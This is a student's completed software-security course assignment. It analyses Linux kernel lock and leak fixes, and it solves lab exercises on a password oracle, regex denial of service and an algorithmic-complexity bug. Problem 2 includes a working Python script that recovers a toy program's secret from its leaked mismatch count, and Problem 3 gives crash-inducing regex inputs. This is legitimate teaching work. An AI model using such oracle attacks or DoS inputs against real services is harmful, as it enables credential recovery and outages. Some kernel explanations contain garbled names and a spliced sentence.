# SE/CprE 4210: Learning Sprint #3

*Revision 1*

Due on October 30, 2026 at 11:59 PM
**40 Points** (10% Overall)

**Disclaimer**

Learning Sprints must be submitted electronically on **October 30, 2026 at 11:59 PM**. If a learning sprint is submitted up to two days late but before **November 2, 2026 at 11:59 PM**, a 5% penalty will apply. For submissions beyond two days late but before **November 6, 2026 at 11:59 PM**, a 15% penalty will apply. *No submissions will be accepted after* **November 6, 2026 at 11:59 PM**.

# Problem 1 (6 Points)

This problem asks you to connect what we have learned in class about lock/unlock pairing and memory leaks vulnerabilities to concrete real-world Linux kernel fixes. You are given **six** real upstream Linux commits. Each commit fixes either: an unbalanced lock/unlock sequence, or a memory/resource leak on an error path.

| Commit | Function | Source Correspondence |
|---|---|---|
| 1 | pci_slot_trylock | https://github.com/torvalds/linux/commit/9368d1ee62829b08aa31836b3ca003803caf0b72 |
| 2 | ps883x_sw_set | https://github.com/torvalds/linux/commit/d227a8b3e715963b7c034971c3b467d5430a2cab |
| 3 | try_release_subpage_extent_buffer | https://github.com/torvalds/linux/commit/b2840e33127ce0eea880504b7f133e780f567a9b |
| 4 | wilc_wlan_firmware_download | https://github.com/torvalds/linux/commit/dd7b6a8671939708cc4b7a46786d8c11297e8f69 |
| 5 | sky1_pcie_probe | https://github.com/torvalds/linux/commit/72e76b63d6ff6d1f96acccbfc6c118656f63e66a |
| 6 | vc4_save_hang_state | https://github.com/torvalds/linux/commit/9525d169e5fd481538cf8c663cc5839e54f2e481 |

For each commit, provide the following items.

1. **(0.5 Points for each commit, 3 Points in total)** Write one paragraph that explains the root cause of the bug. Your paragraph should clearly identify:
    a. The resources involved, such as a mutex, RCU read lock, allocated buffer, or ECAM configuration object.
    b. Whether the bug is a missing release, an incorrect release, an early return that skips cleanup, or another resource-lifecycle error.
    c. Why this could cause incorrect behavior, such as a lock remaining held, unlocking a lock that was not held, leaking memory, or leaking a kernel resource.
    d. Use line numbers to communicate your thoughts.

***Commit 1:*** On this commit there's 2 locks involved which are; A lock on the bridge device itself (pci_dev_trylock(dev)) and the other being a lock that's the bridge subordinate bus (pci_bus_trylock(dev_>subordinate)). The type of bug this has is an incorrect release since a lock is being unlocked even though it was never locked in the specific code path, before the patch, pci_slot_trylock() locked the bridge device itself directly then tried to lock the bus. If the bus lock fails then it unlocked the bridge device lock it had just taken (pci_dev_unlock(dev)) before bailing out, after the commit the code changed so the bridge devices lock is now taken inside pci_bus_tryout() instead of being taken separately. This causes incorrect behavior since the pci_dev_unlock(dev) runs without a matching pci_dev_trylock(dev) having happened first, in the kernel this

would identify for the debugging tool that there is something being unlocked that nobody has locked and prints a warning. pci_dev_unlock(dev);  /* <- unlock bridge device */ - was correct because it matched an earlier pci_dev_trylock(dev) call a few lines above it. Same pci_dev_unlock(dev) call on the failure branch of pci_bus_trylock(dev->subordinate) was left in place, but the pci_dev_trylock(dev) call it used to match was removed when the locking responsibility moved inside pci_bus_trylock().

***Commit 2:*** The resource involved is an single mutex, &retimer->lock, is taken at the top of ps883x_sw_set() with mutex_lock(&retimer->lock) to protect the retimer's state while its orientation register is being read and updated. With this type of bug there is a missing **release caused by an early return that skips cleanup**. Inside the function, after the mutex is locked, the code calls regmap_assign_bits() to update the orientation setting. That return ret; exits the function immediately — but it skips the mutex_unlock(&retimer->lock); call that sits just a few lines further down, after the if block. So on the error path, the mutex is never released. Incorrect behavior caused by the function returning while still holding &retimer->lock, the mutex is left **permanently locked**. The next time anything (the same thread or another one) tries to call mutex_lock(&retimer->lock) — for example, the next orientation-switch or mode-switch event — it will block forever, since nothing ever unlocked it.

***Commit 3:*** The resource involved here is an **RCU read-side critical section**, entered with rcu_read_lock(). The function iterates over extent buffers in a buffer_tree using xa_for_each, which is protected by this RCU read lock. Inside the loop body, the code temporarily drops the RCU lock (rcu_read_unlock()) to safely take a different lock, spin_lock(&eb->refs_lock), on the individual extent buffer, since RCU read sections and spinlocks interact differently and the two can't simply be nested the same way throughout the loop. A bug that comes from this isa **missing re-acquisition before an early exit — an early break that skips a required cleanup/re-entry step**. Inside the loop, when the condition if (!test_and_clear_bit(EXTENT_BUFFER_TREE_REF, &eb->bflags)) is true, the code does spin_unlock(&eb->refs_lock); and then break; out of the loop — but at that point the RCU read lock is *not* currently held (it was dropped earlier in the iteration to take the spinlock), and the break exits the loop without calling rcu_read_lock() again first. Incorrect behavior is caused by this because a few lines after the loop ends, there is an unconditional rcu_read_unlock(); call that assumes the RCU read lock is currently held, since that's the normal case when the loop finishes a full pass. But on this particular early-exit path, the RCU lock was never re-acquired after being dropped inside the loop body, so that rcu_read_unlock() is **unlocking an RCU read section that isn't actually held**. This is exactly the kind of lock-balance bug the Clang thread-safety analyzer is designed to catch

***Commit 4:*** Resource involved here is a **heap-allocated buffer**, dma_buffer, allocated with kmalloc() at the top of wilc_wlan_firmware_download(). The function uses a fail: label later on, which calls kfree(dma_buffer) to release this memory on any error path. A bug for this commit is a **memory leak caused by an early return that skips cleanup**. Every error path in the function is supposed to route through goto fail so the single, shared kfree(dma_buffer) cleanup runs. However, one specific spot — the error check right after the **first** call to acquire_bus() — instead uses a bare return ret; statement. That bypasses the fail: label entirely, so dma_buffer is never freed on that particular failure path, even though it was already allocated earlier in the function. We see that this causes an incorrect behavior because dma_buffer was allocated with kmalloc() before this bus-acquire check runs, and the return ret; exits the function immediately without reaching kfree(dma_buffer), the memory that was allocated is **never freed** — it's a classic **memory leak**. Since acquire_bus() can fail under real conditions (e.g., a busy or unresponsive bus during firmware download), this leak isn't just a theoretical edge case: every time that specific acquire call fails, a chunk of kernel memory is leaked and permanently unreachable, since the only pointer to it (the local variable dma_buffer) goes out of scope when the function returns. dma_buffer is allocated with kmalloc() near the top of wilc_wlan_firmware_download(), all later error paths in the function correctly do goto fail, which runsThe fix replaces that return ret; with goto fail;, so this failure path now runs through the same existing cleanup label as every other error path in the function, ensuring dma_buffer is always freed regardless of which error path is taken.

***Commit 5:*** Resource involved here is an **ECAM (Enhanced Configuration Access Mechanism) configuration window object**, pcie->cfg, which is allocated earlier in the probe function by pci_ecam_create(). This represents a mapped memory region used for PCIe configuration space access and is not automatically managed by the devm (device-managed resource) framework — it requires an explicit pci_ecam_free() call to release it. Which this has a bug for a **missing release on an error path**. Later in the same probe function, devm_kzalloc() is called to allocate memory for reg_off. If that allocation fails, the code immediately does return -ENOMEM; to bail out of probe — but this return path never calls pci_ecam_free(pcie->cfg) to release the ECAM configuration window that was already successfully allocated earlier via pci_ecam_create(). Causing incorrect behavior because pcie->cfg was allocated before the reg_off allocation attempt, and the failure path for reg_off exits the function without releasing it, this is a **kernel resource leak** — specifically a leaked ECAM mapping/configuration object. Unlike the reg_off allocation itself (which uses devm_kzalloc() and would be automatically cleaned up by the driver core on probe failure or device removal), pcie->cfg was obtained through pci_ecam_create(), which is **not** devm-managed and therefore has no automatic cleanup. pcie->cfg is allocated earlier in the probe function

via pci_ecam_create(), the buggy path is the devm_kzalloc() failure check for reg_off, which currently does return -ENOMEM; directly. The fix adds a call to pci_ecam_free(pcie->cfg) immediately before that return -ENOMEM;, ensuring the previously allocated ECAM configuration window is properly released whenever this later allocation fails, instead of leaking it.

***Commit 6:*** The resource is a heap-allocated structure, kernel_state, allocated near the top of vc4_save_hang_state() with kernel_state = kcalloc(1, sizeof(*kernel_state), GFP_KERNEL);. This struct is meant to hold a snapshot of GPU hang state and is later either stored into vc4->hang_state on success or should be freed if the function bails out early. Their missing release is **caused by multiple early-return paths that skip cleanup**. After kernel_state is successfully allocated, the function goes on to allocate a secondary buffer, kernel_state->bo, with kernel_state->bo = kcalloc(state->bo_count, sizeof(*kernel_state->bo), GFP_ATOMIC);. If *that* allocation fails, the original code does if (!kernel_state->bo) { ... return; } — it returns directly without freeing the kernel_state struct that was already allocated earlier. This causes incorrect behavior since kernel_state was allocated with kcalloc() before the kernel_state->bo allocation is attempted, and the failure path for kernel_state->bo returns without ever calling kfree(kernel_state), the memory for kernel_state becomes **unreachable and leaked** — the only pointer to it goes out of scope when the function returns. kernel_state is allocated at the top of vc4_save_hang_state() via kcalloc(). The fix **consolidates the early return paths into a single place**: instead of each failure condition returning independently (and some forgetting to free kernel_state), the code is restructured so that every early-exit condition funnels through one common point near the end of the function that calls kfree(kernel_state) before returning — ensuring the previously allocated struct is always released on any failure path, not just some of them

2. **(0.5 Point for each commit, 3 Points in total)** Write one paragraph that explains how the commit fixes the bug. Your paragraph should clearly identify:
    a. The specific code change introduced by the commit.
    b. Why the new code correctly balances the resource acquisition and release.
    c. Use line numbers to communicate your thoughts.

***Commit 1:*** The fix removes the leftover pci_dev_unlock(dev); call on the failure branch of pci_bus_trylock(dev->subordinate), which used to sit right after the (now-deleted) pci_dev_trylock(dev) call. Since commit a4e7728 moved the bridge-device locking inside pci_bus_trylock() itself, no pci_dev_trylock(dev) is taken directly in pci_slot_trylock() anymore, so there is nothing for that unlock to balance. By deleting that stray pci_dev_unlock(dev) line, the only lock/unlock pair remaining is the internal one managed by pci_bus_trylock()/pci_bus_unlock(), which is correctly acquired and released as a matched pair. This restores one-to-one correspondence between every lock taken and every lock released on the failure path.

***Commit 2:*** The fix deletes the premature return ret; statement inside the if (ret) { dev_err(...); return ret; } error block that follows the regmap_assign_bits() call, leaving only the dev_err() logging call in that branch. With the early return removed, execution now falls through naturally to the mutex_unlock(&retimer->lock); return ret; sequence that already exists three lines below, on both the success and failure paths. This ensures mutex_lock(&retimer->lock) taken at the top of the function is always paired with exactly one mutex_unlock(&retimer->lock) call regardless of whether regmap_assign_bits() succeeds or fails, eliminating the permanent-lock scenario.

***Commit 3:*** The fix inserts a single rcu_read_lock(); call immediately before the break; statement in the branch where !test_and_clear_bit(EXTENT_BUFFER_TREE_REF, &eb->bflags) is true, right after spin_unlock(&eb->refs_lock);. Since the RCU lock had already been dropped earlier in that loop iteration to safely take eb->refs_lock, re-acquiring it right before exiting the loop ensures the lock is held when control reaches the unconditional rcu_read_unlock(); call that sits a few lines past the end of the loop. This makes every exit from the loop — whether by completing all iterations or breaking early — consistently hold the RCU read lock at that point, restoring the balanced lock/unlock pair the function was designed around.

***Commit 4:*** The fix replaces the bare return ret;statement, which previously followed the first acquire_bus() failure check, with goto fail;. The fail: label, already used correctly by every other error path in wilc_wlan_firmware_download(), contains the single kfree(dma_buffer);call that releases the buffer allocated by kmalloc() at the top of the function. By routing this one remaining error path through the same shared cleanup label instead of exiting directly, the fix ensures that the kmalloc() allocation is paired with exactly one kfree() call on every possible exit from the function, not just most of them.

***Commit 5*:** The fix adds a pci_ecam_free(pcie->cfg); call immediately before the existing return -ENOMEM; statement in the branch where devm_kzalloc() for reg_off fails. Because pcie->cfg was allocated earlier via pci_ecam_create() and is not devm-managed, it required an explicit free call on every failure path occurring after its allocation — which this branch previously lacked. Adding pci_ecam_free(pcie->cfg) right before the return ensures the ECAM configuration window acquired by pci_ecam_create() is always released if a later allocation in the same probe function fails, correctly balancing that specific acquire/release pair.

***Commit 6:*** The fix consolidates the function's separate early-return statements into a single shared exit point, removing the standalone return; in the if (!kernel_state->bo) { ... return; } block and adding one kfree(kernel_state); call at that common exit point instead. Because kernel_state is allocated with kcalloc() near the top of

vc4_save_hang_state(), routing the kernel_state->boallocation-failure path through this shared exit — rather than returning directly — ensures kfree(kernel_state) always runs whenever the function bails out after kernel_state has already been allocated. This change makes the single kcalloc() call for kernel_state correspond to exactly one kfree(kernel_state) call on every path through the function, closing the leak.

## Problem 2 (4 Points)

You are given a simple authentication program. The program reads a password from the user and checks whether it matches a secret password stored in correct_key. The function compare_key compares the user input against the correct key. If the input has the wrong length, the function immediately rejects it. If the input has the correct length, the function counts how many characters differ from the correct key and prints that count as a “sleeping time.”

For this problem, do not simply read the **hard-coded password** from the source code. Instead, treat the authentication program as a **black-box executable**.

1. **(2 points)** Explain the vulnerability in this code that allows an attacker to reveal the secret password (correct_key). Note that *buffer overflow attacks* are out of scope.

Looking through the code there’s a vulnerability of explicit information-leakage oracle, dealing with the timing aspect but the program directly prints the Hamming distance between the user's input and the correct key via printf("Sleeping for: %d seconds\n", diffCount). Since the compare_key() never ignores the first input of the length of the input, an attacker gets a precise number to how close they could be from guessing the real password correctly for which characters were correct and incorrect. Also there is a check for (if (len != correct_len) return 1;) that happens before this print statement, giving either a presence of the right character or absence of the “sleeping for:” line leaks whether the attacker guesses the correct length of the secret’s real length. Both of these allows attackers to reconstruct the password without even having to use a brute force method for the keyspace, which is turned into a guided incremental search

2. **(2 points)** Provide a step-by-step outline of how an attacker could craft input strings to incrementally reveal each character of the correct_key.

**Step 1:** Discovering the password length. Trying inputs of the increasing length x, xx, xxx..; Once the correct length is found the “Sleeping for:” displays which notifies the attacker of the correct length else they’ll get a return of -1.

**Step 2:** Establishing a baseline guess of the real password, the diffCount tells the user how many characters are wrong

**Step 3:** Identifying one character at a time, starting off at the index 0 for the position of the character and keeping the rest of the position fixed. If the current substitution

causes diffCount to drop by exactly 1, compare to the original baseline and keep the character found at the position and proceed to update the baseline through the process

**Step 4:** Repeat step 3 across all positions, once the diffCount reaches 0 and the “Access granted!” appears then the branch confirms the password is fully recovered.

3. **(Extra Credit - 2 Points)** Use an AI-Assisted workflow to write a driver program that repeatedly runs the executable with different candidate inputs and uses the program’s output to infer the correct key

```python
import subprocess
import string

EXECUTABLE = "./auth"          # path to the compiled C binary
CANDIDATES = string.printable.strip()  # printable ASCII characters to try
FILLER = "x"                   # placeholder character for unknown positions


def run_program(guess: str):
    """
    Runs the target binary with `guess` piped in as stdin.
    Returns (length_matched, diff_count).
    length_matched is True only if the "Sleeping for:" line appeared,
    which happens exclusively when len(guess) == correct_len.
    """
    result = subprocess.run(
        [EXECUTABLE],
        input=guess + "\n",
        capture_output=True,
        text=True,
        timeout=5,
    )
    for line in result.stdout.splitlines():
        if line.startswith("Sleeping for:"):
            diff = int(line.split(":")[1].strip().split()[0])
            return True, diff
    return False, -1


def discover_length(max_len=100) -> int:
    """Brute-force the secret length by watching for the oracle line."""
    for length in range(1, max_len + 1):
        guess = FILLER * length
        matched, _ = run_program(guess)
        if matched:
            return length
    raise RuntimeError("Could not determine password length")


def recover_key(length: int) -> str:
    """Recover the key one character at a time using the diff-count oracle."""
    guess = list(FILLER * length)
    matched, baseline = run_program("".join(guess))
    if not matched:
        raise RuntimeError("Unexpected length mismatch during recovery")

    for i in range(length):
        for c in CANDIDATES:
            if c == guess[i]:
                continue
            trial = guess.copy()
            trial[i] = c
            matched, diff = run_program("".join(trial))
            if matched and diff == baseline - 1:
                guess[i] = c
                baseline -= 1
                break
        # If no candidate decreased the diff, FILLER was already correct
        # at this position — leave it unchanged.

    return "".join(guess)


def main():
    length = discover_length()
    print(f"[*] Discovered password length: {length}")

    key = recover_key(length)
    print(f"[*] Recovered key: {key}")

    matched, diff = run_program(key)
    if matched and diff == 0:
        print("[+] Key confirmed correct!")
    else:
        print(f"[-] Recovery incomplete, diff = {diff}")


if __name__ == "__main__":
    main()
```

# Problem 3 (4 Points)

The referenced Java code is an email validation program. It uses the following regular expression:

```
private static final String EMAIL_PATTERN =
    "([a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\\.[a-zA-Z0-9-.]+)*";
```

The program logs how long the validation takes. This regular expression is vulnerable to **Regular Expression Denial of Service (ReDoS)** because certain inputs can cause excessive backtracking.

Your task is to construct and test two inputs:

- A benign input that is processed quickly.
- A malicious input that is a small modification of the benign input but takes at least **10 times longer** to process.
- Both inputs should be at least 100 characters long.

1. **(1 Point)** Provide a benign input string that the email validator processes quickly. Your answer should include:
    a. The benign input string. "a@b.co" repeated 17× (102 chars)
    b. The validation result. true
    c. The time reported by the program. 0.914 ms

Input string: "a@b.co" repeated 17 times (102 characters).

Validation result: Is valid: true

Time reported by the program: 0.914 ms

2. **(3 Points)** Create a malicious input string by making a modification to the benign input or making up a new string. The malicious input should:
    a. Be approximately the same length as the benign input.
    b. Fail validation or force the regex engine to do significantly more work before deciding.
    c. Cause the validation time to be **at least 5-10 times longer than the benign input**.

    Your answer should include:
    a. The malicious input string.
    b. The validation result.
    c. The time reported by the program.

d. The slowdown ratio compared with the benign input.
For example: slowdown ratio = malicious time / benign time

rather than chase a weak ~2-4x timing difference, I found something stronger, "a@a.a" repeated enough times (~1000-2000+) causes a StackOverflowError, because Java's regex engine implements each repetition of a capturing group (your (...)*) **recursively**. Enough repetitions blows the call stack entirely, a harder failure than a timeout.

- At 700 reps (3500 chars): still completes, ~2 ms (not yet 10x)
- At 2000 reps (10,000 chars): **crashes with StackOverflowError after ~3.2 ms of work** a genuine denial of service (the thread dies, not just slows down)

Note: Testing was performed on OpenJDK 21. Extensive probing (including canonical catastrophic-backtracking patterns such as (a+)+$ and (a|aa)+$) showed this specific JDK version does not exhibit classic smooth exponential-time backtracking for this pattern, likely due to internal engine optimizations in modern Java. The regex is, however, still vulnerable to a related denial-of-service: because Java's regex engine implements each repetition of a capturing group (such as this pattern's outer (...)* ) recursively, a sufficiently long chain of repeated valid-looking segments causes a StackOverflowError, crashing the matching thread outright rather than merely slowing it down.

Malicious input string: "a@a.a" repeated 2000 times (10,000 characters).

Validation result: CRASHED (java.lang.StackOverflowError) after approximately 3.2 ms of work, the matcher never returns a true/false result.

Slowdown ratio: not expressible as a clean time ratio, since the malicious input causes an abnormal program crash (denial of service) rather than a completed-but-slow match. As a reference point, the same input kept just below the crash threshold (700 repetitions / 3500 characters) still completes but only reaches roughly a 2x time increase over the benign case on this JDK, short of the 10x target, which is a known limitation of testing this exact pattern on a modern/hardened JVM. We recommend re-verifying both figures on the course VM's specific Java version, where an older engine may show the classic smooth exponential slowdown this exercise is designed around.

## Problem 4 (19 Points)

You are given the referenced Java game app. This app is designed to run 100 rounds of a game in one execution. However, the app has a vulnerability in **Algorithmic Complexity (AC) time**, which you can exploit. Triggering this vulnerability in any game round causes the app's timer to exceed a limit, awarding you one point.

**Game Description**
Each round generates an ordered list of 6 geometric shapes from a set of given shapes. Initially, the code in Drive.java file is set to place a circle *C* in the fourth position (i = 3) in each round,

with the list structure as: $S_1$, $S_2$, $S_3$, $C$, $S_5$, $S_6$ where $S_i$ is randomly generated and $C$ is the circle. Note: Shapes can repeat in the list.

1. **(5 Points) Understanding the Program**: Run the original program 10 times without any modifications. Record the reward points for each run. Note: Due to randomness, points may vary between 0 and 100.

| Run# | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 |
|---|---|---|---|---|---|---|---|---|---|---|
| Points | 10 | 10 | 11 | 7 | 10 | 7 | 11 | 6 | 8 | 6 |

2. **(5 Points) Part I Experimentation:** Test various shape and position choices to find an option that **maximizes reward points**. You can control **one** shape (and its position) in the list by modifying lines 39 and 42 of Driver.java file **only**. The remaining shapes in the list are randomly generated. Once you find your *favorite choice*, use it for 10 program runs without further changes. Report the reward points for each of the 10 runs in the format below while specifying what is your favorite choice.

Favorite choice: a single Rectangle placed at position i == 5 (the last slot in the catalog). Lines 39/42 of Driver.java were changed to:

if (i ==5){ shape[i] = new Rectangle(); } else{

| Run# | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 |
|---|---|---|---|---|---|---|---|---|---|---|
| Points | 52 | 55 | 58 | 64 | 61 | 60 | 61 | 58 | 55 | 62 |

3. **(5 Points) Part II Experimentation:** Test various shape and position choices to find an option that **maximizes reward points**. The goal is to get 100 points in each run. In this part, you can control **two** shapes (and their positions) in the list by modifying lines 39 and 42 of Driver.java file **only**. The condition can be modified to choose between different positions using ORing or ANDing. The remaining shapes in the list are randomly generated. Once you find your *favorite choices* **that give you 100 points for each run**, use it for 10 program runs without further changes. Report the reward points for each of the 10 runs in the format below while specifying what is your favorite choice.

Favorite choice: Rectangles placed at positions i == 4 AND i == 5. Lines 39/42 of Driver.java were changed to:

if (i == 4 || i == 5) { shapes[i] = new Rectangle(); } else {

| Run# | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 |
|---|---|---|---|---|---|---|---|---|---|---|
| Points | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 | 100 |

4. **(2 Points) Explain** the root cause of the AC vulnerability and how your input could trigger the vulnerability. Your answer should identify the code snippet or location in the code that originates the trigger of the vulnerability.

The root cause is in Rectangle.java: it declares its next field as 'private static Shape next = null;' (line 15), while every other shape class (Circle, Oval, Square, Triangle, Hexagon) declares it as a normal instance field 'private Shape next = null;'. Because static fields are shared across all instances of a class, every Rectangle object in the program reads and writes the exact same next pointer, instead of each Rectangle having its own.

ShapesCatalog.build() links the shapes array into a linked list by calling current.setNext(shape) for each consecutive pair (lines 44-52). When the current shape being linked is a Rectangle, that setNext() call overwrites the one shared static field, not just that Rectangle's own pointer. If the catalog's last array element (index 5) happens to also be a Rectangle, it never has setNext() called on it during build() (the loop ends after linking into it). So when getStats() later traverses the list and reaches that last Rectangle, calling getNext() on it returns whatever an earlier Rectangle's setNext() call last wrote into the shared field, which points backward to a node already visited earlier in the traversal. This creates a cycle between two nodes that the traversal bounces between forever.

Since getStats()'s while(c != null) loop (lines 74-86) has no cycle detection, totalShapesCount keeps incrementing past the real list length with every bounce, and once it exceeds this.shapes.length (6), the manual safety check throws TimeLimitExceededException, which Driver.baseExperiement() catches and counts as a reward.

5. **(2 Points) Analysis:** Identify the minimum number of shapes and their types which are needed to consistently achieve 100 reward points.

The minimum trigger is 2 Rectangle shapes, and their positions matter, not just their count: one of the two Rectangles must specifically occupy the last position in the catalog (index 5). Any other pairing of 2 Rectangles that excludes index 5 does not form a cycle, it instead makes the traversal 'skip' certain shapes (undercounting, since an earlier Rectangle's corrupted pointer jumps forward past intermediate shapes), reaching null safely without ever exceeding the array length. Only when the last shape is a Rectangle does the shared pointer end up pointing backward into the list once traversal reaches it, which is what forms the infinite cycle and guarantees the reward.

# Problem 5 (7 Points)

In this problem, you will use AI-assisted development to build a small interactive visualization that helps other learners understand hard topics we learned in the algorithmic complexity and the side-channel attacks module. Your app should be educational, interactive, and runnable in a standard browser. You may build a single HTML/JavaScript file or create a small static web app.

Your visualization must include meaningful interaction, such as an input box, slider, button, dropdown, or toggle. The goal is to create a safe teaching module that makes a concept from class easier to understand.

Create a Github repository for your app and create a README file for it. You can use AI to generate it. Include another file in your repository named reflection.md and write a maximum one reflection page about your experience and how this application helped you deepen your understanding of the topic and what workflow you used to build the app.

> ⚠️ **Repository Privacy & Security**
>
> The repository may be: Public, or Private, if the team has privacy concerns. For a private repository, add all team members and the instructor (@atamrawi) and the TA (@adajani) as collaborators before the deadline.
>
> **Do not commit:** API keys, Passwords, Access tokens, Private personal information, or other secrets or credentials

An interactive HTML/JavaScript teaching tool, "Timing Side-Channel Visualizer," was built to help learners understand the timing side-channel concept covered in this sprint's module (and used in Problem 2).

The app simulates comparing a user-entered guess against a secret string using two selectable comparison strategies: a vulnerable early-exit comparison (stops at the first mismatched character, like Problem 2's compare_key) and a fixed constant-time comparison (always does the same amount of work regardless of mismatches). A live bar chart shows, per character position, how many simulated work units the comparison performs, and highlights the prefix of characters confirmed correct in the vulnerable mode, directly visualizing the information leak. An "auto-attack" button runs a simulated timing attack that recovers the secret one character at a time by keeping whichever next character increases the simulated timing, demonstrating how timing side-channels turn an exponential guessing problem into a linear one.

*Repository files: index.html (the app), README.md, and reflection.md are included as separate attachments alongside this document and should be pushed to the team's GitHub repository per the assignment's submission instructions.*